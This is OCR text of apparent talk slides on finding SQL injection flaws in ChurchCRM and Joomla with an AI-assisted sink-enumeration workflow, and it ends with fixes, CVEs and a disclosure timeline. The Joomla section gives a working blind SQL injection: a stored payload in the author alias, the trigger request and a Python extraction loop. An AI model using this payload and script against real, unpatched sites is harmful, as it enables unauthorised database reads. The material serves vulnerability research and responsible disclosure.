Teaching AI to hack Joomla so I
can skip my homework /s
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Church Sidequest
ChurchCRM

Actions [ Projects [0 Wiki @ Securityand quality 8 [~ Insights

Security Advisories Report a vulnerability

ntainers.

© Improper Neutralization of Speclal Elements used in an SQL Command (‘SQL Injection’) in QueryView.php

GHSA-68mc-6p92-gfq6 published on Dec 17, 2 awoud|O

O Stored XSS in Group Name

O] Stored Cross Slte Scrlptlng (XSS) leads to session theft and account takeover Moderate

2025 by DawoudIO

© Plaintext password return in response Moderate
it TS

O SSRF via Referer header in ChurchCRM 5.21.0 allows server-side HTTP/HTTPS requests to arbitrary hosts

3-28jv-mw

@ Time-based blind SQL mJectlon Moderate

GHS qvp publ

GHSA-47q3-c8

Q SQL In}ectlon in User Editor via type Parameter Key

p9 published on Dec by DawoudIO

O] SQL In]e:tlon in Event Llst e ] WhlchType Parameter

HSA-cOxf-f3gr-xfwv published on Dec

O] SQL In}ectron in Event Edltur via EN_tyid" Parameter (Incomplete Fix)

GHSA-wxcc-gviv-56fg pu

O saL In)ectlcn in eGive Import Feature

p

shed on Dec awoud



Church Sidequest
Advisory About src/UserEditor.php

$type = $ POST['type'];
ksort(Stype);
reset($type);
while (S$current_type = current($type)) {
$id = key(Stype);
// We can't update unless values already exist.
$sSQL = 'SELECT * FROM userconfig ucfg '
. \"WHERE ucfg_id=%$id AND ucfg _per_id=$iPersonID ";
$bRowExists = true;
$iNumRows = mysqli_ num_rows(RunQuery($sSQL));
if ($iNumRows == 0) {
$bRowExists = false;

if (!$bRowExists) { // If Row does not exist then insert default values.
// Defaults will be replaced in the following Update
$sSQL = 'SELECT * FROM userconfig_ucfg '
. |"WHERE ucfg id=%$id AND ucfg_per_id=0 ";
$rsDefault =|RunQuery($sSQL);|




Church Sidequest
Latest src/MemberRoleChange.php

// Was the form submitted?
if (isset($_POST['Submit’])) {
//Get the new role
$iNewRole = InputUtils::legacyFilterInput($_POST[ "NewRole']);

//Update the database
$sSQL = 'UPDATE person2group2role_p2g2r SET p2g2r_rle_ID = ' . $iNewRole . " WHERE p2g2r_per_ID = $iPersonID AND p2g2r_grp_ID = $iGroupID”;

RunQuery($sSQL);



Church Sidequest
Latest src/MemberRoleChange.php

// Was the form submitted?
if (isset($_POST['Submit’])) {
//Get the new role

$iNewRole = InputUtils::legacyFilterInput($_POST[ "NewRole']);

//Update the database
$sSQL = 'UPDATE person2group2role_p2g2r SET p2g2r_rle_ID = ' . $iNewRole . " WHERE p2g2r_per_ID = $iPersonID AND p2g2r_grp_ID = $iGroupID";
// Note that a database connection must already be_sstablished for the mysqli_real_escape_string function to work.
public static function legacyFilterInput($sInput, $type = ‘string’, $size = 1)
i
global $cnInfoCentral;
if (strlen($sInput) > 0) {
switch ($type) {
case 'string’:
return mysqli_real_escape_string($cnInfoCentral, self::sanitizeText($sInput));
return mysqli_real_escape_string($cnInfoCentral, self::sanitizeHTML($sInput));
case ‘'char':
return mysqli_real_escape_string($cnInfoCentral, self::filterChar($sInput, $size));
case 'int':

return self::filterInt($sInput);

return self::filterFloat($sInput);

rmen "Aatat.



Church Sidequest
Manual Workflow

1. Find out the database interaction points

public static function runQuery(string $sSQL, bool $bStopOnError = true)

{
global $cnInfoCentral;

mysqlifquerygkcnlnfoCentral, "SET sql_mode=(SELECT REPLACE(@@sql_mode, 'ONLY_FULL_GROUP_BY',''))");

if (Sresult =|mysqlifquery $cnInfoCentral, $sSQL)) {
return $resutlt; '

} elseif ($bStopOnError) {

LoggerUtils: :getAppLogger()->error(gettext('Cannot execute query.') . " " . $sSQL . " -|- " . mysqli_error($cnInfoCentral));
if (SystemConfig::getValue('sLogLevel') == "100") { // debug level
throw new \Exception(gettext('Cannot execute query.') . "<p>$sSQL<p>" . mysqli_error($cnInfoCentral));
} else {
throw new \Exception('Database error or invalid data, change slLoglLevel to debug to see more.');
}
} else {

return false;



Church Sidequest
Manual Workflow

2. Enumerate sinks with simple Ctrl+F search

SEARCH Cxk @B=0O
| runQueny| Aa ab * ‘
v
AB &
441 results in 88 files - Open in editor
v ® DonatedltemEditor.php src .
$rsDonatedItemID = RunQuery($sSQL);
$rsDonatedItem = RunQuery($sSQL);
$rsPeople = RunQuery($sPeopleSQL);
$rsBuyers = RunQuery($sPaddleSQL);
v ® DonatedltemReplicate.php src .
$rsitem = RunQuery($sSQL);
$ret = RunQuery($sSQL);
v @ EventEditor.php src ’

$ecOpps = RunQuery($sSQL);
$ecOpps = RunQuery($sSQL);



Church Sidequest
Manual Workflow

3. Check each sink’s dynamic parameters for external reachability

$type =||§_POST['type'];,

ksort(Stype);
reset(3type);

while (Scurrent type = current(Stype)) {
$id = key(Stype);

// Save new setting
$sSQL = 'UPDATE userconfig ucfg °
. "SET ucfg_value='$value', ucfg_permission='$permission’
. "WHERE ucfg_id=}'$id' JAND ucfg_per_id='0"' ",
$rsUpdate = RunQuery($sSQL);
next(Stype);
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Church Sidequest
Manual Workflow

4. Check each of the external reachable parameters for sanitization

// Was the form submitted?
if (isset($ _POST['Submit'])) {
//Get the new role
$iNewRole = |InputUtils::legacyFilterInput($_POST['NewRole']);

//Update the database
$sSQL = 'UPDATE person2group2role _p2g2r SET p2g2r_rle ID = ' . $iNewRole . " WHERE p2g2r_per_ID = $iPersonID AND p2g2r_grp_ID = $iGroupID";
RunQuery($sSQL);
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Church Sidequest
Manual Workflow

5. Create a PoC against a locally running Docker environment

= Q ChurchCRM / CRM ~

<> Code (O Issues 174 [ Pullrequests 17 & Agents (O Actions [ Projects [11 Wiki (@ Securityand quality 86 |~ Insights

Report a vulnerability

This submission will only be viewable to repository maintainers. You will be credited if the advisory is published.

Advisory Details

Title *

Description *

Write | Preview EI BT =R O 2

### Summary

_Short summary of the problem. Make the impact and severity as clear as possible. For example: An unsafe deserialization vulnerability

allows any unauthenticated user to execute arbitrary code on the server._

#4## Details
_Give all details on the vulnerability. Pointing to the incriminated source code is very helpful for the maintainer._

### PoC
_Complete instructions, including specific configuration details, to reproduce the vulnerability.

### Impact
_What kind of vulnerability is it? Who is impacted?_

and report the vuln

Q Type (7] to search

Collaborator

AdrianJunge ' Author

Untilitis published, this draft security advisory will
only be visible to the maintainers of
ChurchCRM/CRM and invited collaborators.

Credit

You will be automatically credited as a contributor.
Your contribution wil reflect the MITRE Crediit
System.

Community guidelines

Remember to be respectful and follow the
Contribution Guidelines and respect GitHub’s Code
of Conduct.

@ Security policy
[0 Glossary and documentation

€3 Dependabot language support
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Joomla-CMS

A Larger, “Better” Codebase

5

O </> ®
5,100+ ~250k 5.4.5
GitHub Stars Lines of PHP Target Version
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Joomla-CMS
AI Workflow

1. Enumerate sinks/database interaction points

$db =|$this->getDatabase();
$query = |$db->getQuery(true);
$fieldId = (int) Sresult->id;

$query->select($db->quoteName('category _id'))
->from($db->quoteName('#_ fields categories'))
->where($db->quoteName('field _id') . ' = :fieldid')
->bind(':fieldid', $fieldId, ParameterType::INTEGER);

$db->setQuery($query);
$result->assigned cat_ids = $db->loadColumn() ?: [©];
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Joomla-CMS
AI Workflow

1. Enumerate sinks/database interaction points

Keyword Purpose

getQuery Query builder construction
setQuery Handoff to database driver
getDatabase Modern database access

Factory: :getDbo Legacy database access (deprecated)

Afterwards remove duplicate sinks

15



Joomla-CMS
AI Workflow

2. Remove all sinks with only static/hard coded SQL parameters

protected function getInput()

{

$db = $this->getDatabase();
$query = $db->getQuery(true)
->select($db->quoteName( 'extension_id'))
->from($db->quoteName('#_ extensions'))
->where($db->quoteName('folder') . ' = ' . $db->quote('actionlog'))
->where($db->quoteName('element') . ' = ' . $db->quote('joomla'));
$db->setQuery($query);

$result = (int) $db->loadResult();

16



Joomla-CMS
AI Workflow

3. Remove all sinks that use prepared statements for every dynamic input

public function load($id)
{

// Cast as integer until method is typehinted.
$id = (int) $id;

$db = Factory::getDbo();

$query = $db->getQuery(true)
->select('*')
->from($db->quoteName('# usergroups'))
->where($db->quoteName('id') .| ' = :id")
->bind(':id', $id, ParameterType::INTEGER);

$db->setQuery($query);

$group = $db->loadObject();

17



Joomla-CMS
AI Workflow

4. Save the filtered sinks in JSON format

"file": "components/com_finder/src/Model/SearchModel.php",
"class": "SearchModel",
"function": "getListQuery",
"line": 158,
"dynamic_inputs": [
"$groups”,
"Factory::...",
"$nowDate",

"$this->searchquery->filters",
"$group"”,

"$taxonomies",
"$this->searchquery->datel"”,
"$datel",
"$this->searchquery->date2",
"$date2",

"$ordering",

"$direction"

After deduplication and filtering: 247

candidates remained

18



Joomla-CMS
AI Workflow

5. Deep inspection of the remaining sinks

- Stored input is untrusted (second-order)
- Check for external reachability (Source-to-Sink tracing)
- Inspect transformations and sanitizations

- PoC against local Joomla Docker setup

19



Joomla-CMS
Assigned CVEs

Second-order SQL injections

o

CVE-2026-35221

|
Authenticated Blind SQLi |
|

() com_finder (Smart Search)

CVE-2026-35222

Authenticated Blind SQLi

¢’ com_tags

Broken contract between 2 functions

Forgot whitelist for ORDER BY

20



Joomla-CMS com_finder
Storing The Payload

You are here: Home / Home Main Menu

Home Home

Content Publishing Metadata

Login Form

Status Hi test,

Published

Log out

Category *

Uncategorised

Tags

Type or select some tags

Note
Version Note
Created by Alias

13371337*0+IF((1=1) t.node_id,0)

Featured

21



Joomla-CMS com_finder
Storing The Payload

"Author’

Y

public function addTaxonomy($branch, $title, $state = 1, $access = 1, $language = '*')

{

// We can't add taxonomies with empty titles
if (!trim($title)) {

return;

// Filter the input.
$branch = preg_replace('#[*\pL\pM\pN\p{Pi\p{Pf}\'+-.,_ ]+#mui’, * *, $branch);

// Create the taxonomy node.

$node = new \stdClass();
$node->title = $title;
$node->state = (int) $state;
$node->access = (int) $access;

$node->language = $language;

$node->nested = false;

// Add the node to the taxonomy branch.
$this->taxonomy[$branch][] = $node;



Joomla-CMS com_finder
Triggering The Payload

GET /index.php?option=com_finder&view=search&qg=<article-title>+author:<prefix>

23



Joomla-CMS com_finder
Triggering The Payload

GET /index.php?option=com_finder&view=search&q=<article-title>+author:<prefix>

// Handle a taxonomy branch filter.
// Try to find the node id.
$return = Taxonomy: :getNodeByTitle($modifier, $value);

// Check if the node id was found.
if ($return) {
// Check if the branch has been cleared.
if (!\in_array($modifier, $cleared, true))y{
// Clear the branch.
$this->filters[$modifier] = [];

// Add the branch to the clfared list.

$cleared[] = $modifier;

// Add the filter to

$this->filters[$modifier][$return->title] = (int) $return->id;

24



Joomla-CMS com_finder
Triggering The Payload

Sthis->filters = [
'Author' => |
<created-by-alias> => <id>
1,

25



Joomla-CMS com_finder
Triggering The Payload

Sthis->filters = |

<created by alias>
r'o=> —

(13371337*0+IF((1=1),t.node id,0)"' => 123

if (lempty($this->searchquery->filters))\{
// Convert the associative array to a gumerically indexed array.

$groups = array_values($this->searchquery->filters);

$taxonomies = array_merge(...array_map(fn ($group) => array_keys({$group),\$groups));

.link_id = 1.link_id")
);

$query->join( 'INNER', $db->quoteName('#_ finder_ taxonomy map’) . ¥ AS t ON

->where( t.node_id IN (' . implode(’,', array_unique($taxonomies)) . ')

// Iterate through each taxonomy group.
foreach ($groups as %$group) {
$query->having( 'SUM(CASE WHEN t.node_id IN (" . implode(’,", array_keys($group)) . ') THEN 1 ELSE © END) > 0°);

26



Joomla-CMS com_finder
Triggering The Payload

Sthis->filters = |

<created by alias>
r' o= | —

(13371337*0+IF((1=1),t.node id,0)"' => 123

if (lempty($this->searchquery->filters))\{

// Convert the associative array to a jumerically indexed array.

$groups = array_values($this->searchquery->filters);

$taxonomies = array_merge(...array_map(fn ($group) => array_keys({$group),\$groups));

.link_id = 1.link_id")
);

$query->join( 'INNER', $db->quoteName('#_ finder_ taxonomy map’) . ¥ AS t ON

->where( t.node_id IN (' . implode(’,', array_unique($taxonomies)) . ')

// Iterate through each taxonomy group.
foreach ($groups as %$group) {
$query->having(*SUM(CASE WHEN t.node_id IN (' . implode(’,’, array_keys($group)) . ') THEN 1 ELSE @ END) > 0°);

¥

WHERE t.node id IN (13371337*0+IF((1=1),t.node id,0))
HAVING SUM(CASE WHEN t.node id IN (13371337*0+IF((1l=1),t.node id,0)) THEN 1 ELSE 0 END) >

27



Joomla-CMS com_finder
The Boolean Oracle

GET /index.php?option=com_finder&view=search&q=1337+author:13371337

28



Joomla-CMS com_finder
The Boolean Oracle

GET /index.php?option=com_finder&view=search&qg=

... t.node_id IN ( *0+IF((1=1),t.node_id,0) ...

You are here: Home / 1337 author:13371337

Home

Search Terms:

1337 author:13371337 Q@ Advanced Search

Assuming 1337 is required, the following result was found.

http://localhost:8068/index.php/component/content/article/1337?catid=2

1337
Type: Article | Author: 13371337*0+IF((1=1),t.node_id,0) | Category: Uncategorised

Results 1-1of 1

29



Joomla-CMS com_finder
The Boolean Oracle

GET /index.php?option=com_finder&view=search&qg=
t.node_id IN ( *0+IF (( ), t.node_id, 0)

You are here: Home / 1337 author:13371337

Home

Search Terms:

1337 author:13371337 Q@ Advanced Search

Assuming 1337 is required, no results were found. Search again.

No Results Found

No search results could be found for query: 1337 author:13371337.

30



Joomla-CMS com_finder
The Boolean Oracle

. t.node_id IN (13371337*0+IF((
1=1
),t.node_id,0) ...

... t.node_id IN (13371337*0+IF((
ASCII( SUBSTR( VERSION(), 1, 1 ) ) >= 53
),t.node_id,0) ...

31



Joomla-CMS com_finder
Exploitation

def cond(pos, mid):
return £"ASCII(SUBSTRING(VERSION(),{pos},1))>={mid}"

def extract_version(session, aid, title, ctx, prefix, term, log):

out = []

for pos in range(1l, 65):
lo, hi = @, 127

while 1o < hi:
mid = (lo + hi + 1) // 2

alias_payload = f"{prefix}*0+IF(/({cond(pos, mid)}),t.node_id,0)"

save_article(session, ctx, aid, title, alias_payload)
ok = probe(prefix, term)

log.append(f“version p{pos} >= {mid} => {int(ok)}")

if ok:
lo = mid
else:
hi = mid - 1
if lo ==

 TER

Ky



Joomla-CMS com_finder

The Fix

Joomla 5.4.5

Sthis->filters[Smodifier] Sreturn->title] =

(int) S$Sreturn->id;

Joomla 5.4.6

Sthis->filters[Smodifier] [ (int) S$Sreturn->id]

=Sreturn->title;

33



Joomla-CMS

Timeline
First : Fixed in
acknowledgment : 5.4.6 / 6.1.1
............................... 9 al’ld CVES

2026-03-31

assigned

2026-04-11

2026-04-01

Reported vulns
: to Joomla :
: Security Strike:
: Team :

2026-05-26

Issues
confirmed and
patch work
started
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Conclusion

SQL injections are still a thing
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Conclusion

SQL injections are still a thing

Prepared statements are not the silver bullet
Can’'t parameterize SQL grammar
ORDER BY ?
t.node_id IN (?, ?, ?, ?)
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Conclusion

SQL injections are still a thing

Prepared statements are not the silver bullet
Can’'t parameterize SQL grammar
ORDER BY ?
t.node_id IN (?, ?, ?, ?)

The AI-assisted workflow is generalizable
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